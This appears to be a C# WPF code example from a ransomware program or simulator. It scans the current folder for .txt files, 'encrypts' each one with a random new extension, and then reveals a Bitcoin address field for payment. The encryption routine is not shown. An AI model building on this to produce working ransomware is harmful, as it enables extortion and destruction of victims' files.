Example #1
0
        private void Window_ContentRendered(object sender, EventArgs e)
        {
            fileOperations.WriteLog("Starting File Rename Operations!");
            //lock it Up!

            //TODO Clean up
            Dispatcher.Invoke(new Action(() => {
                SetIconRotation(LockerIcon, 0);
                lblLockingFile.Content            = "Scanning for Files";
                txtbox_Instructions.Text          = inProgressMessage;
                rectInstructionsBackground.Height = 335;
                Height = 455;
            }), DispatcherPriority.ContextIdle);

            filesToEncrypt = fileOperations.GetTXTFileCount(currentPath);
            fileOperations.WriteLog("Found: " + filesToEncrypt.Count() + " to Encrypt!");

            if (filesToEncrypt.Count() != 0)
            {
                btn_send.Visibility = Visibility.Hidden;
                txtbox_Bitcoingaddess.Visibility = Visibility.Hidden;
                encryptionInProgress             = true;
                foreach (FileInfo file in filesToEncrypt)
                {
                    FileInfo fileToEncrypt = file;
                    fileOperations.WriteLog("Encrypting: " + file.Name.ToString() + "!");


                    Dispatcher.Invoke(new Action(() => {
                        RotateIcon(LockerIcon, 5);
                        lblLockingFile.Content = ("Encrypting: " + file.Name);
                    }), DispatcherPriority.ContextIdle);

                    fileOperations.LockTXTFile(fileToEncrypt);
                }
            }

            encryptionInProgress = false;
            fileOperations.WriteLog("File Rename Operations COMPLETED!");

            Dispatcher.Invoke(new Action(() => {
                SetIconRotation(LockerIcon, 0);
                lblLockingFile.Content            = "";
                txtbox_Instructions.Text          = completedMessage;
                btn_send.Visibility               = Visibility.Visible;
                txtbox_Bitcoingaddess.Visibility  = Visibility.Visible;
                rectInstructionsBackground.Height = 445;
                Height = 575;
            }), DispatcherPriority.ContextIdle);
        }
        private void Execute_EncryptionOperations()
        {
            Dispatcher.Invoke(new Action(() =>
            {
                SetIconRotation(LockerIcon, 0);
                txtBoxLockingFile.Text            = "Scanning for Files";
                txtbox_Instructions.Text          = inProgressMessage;
                rectInstructionsBackground.Height = 335;
                Height = 455;
            }), DispatcherPriority.ContextIdle);

            filesToEncrypt = fileOperations.GetTXTFileCount(currentPath);
            fileOperations.WriteLog("Found: " + filesToEncrypt.Count() + " to Encrypt!");

            if (filesToEncrypt.Count() != 0)
            {
                //Get a new extension for this run
                string newExtension = ransomwareDefinition.GetRandomFileExtension();

                btn_send.Visibility = Visibility.Hidden;
                txtbox_Bitcoingaddess.Visibility = Visibility.Hidden;
                txtbox_Instructions.Height       = 280;

                encryptionInProgress = true;

                foreach (FileInfo file in filesToEncrypt)
                {
                    FileInfo fileToEncrypt = file;
                    fileOperations.WriteLog("Encrypting: " + file.Name.ToString() + "!");

                    Dispatcher.Invoke(new Action(() =>
                    {
                        RotateIcon(LockerIcon, 5);
                        txtBoxLockingFile.Text = ("Encrypting: " + System.Environment.NewLine + file.Name);
                    }), DispatcherPriority.ContextIdle);


                    fileOperations.LockTXTFile(fileToEncrypt, newExtension);
                    Thread.Sleep(50);
                }
            }

            encryptionInProgress = false;

            fileOperations.WriteLog("File Rename Operations COMPLETED!");
        }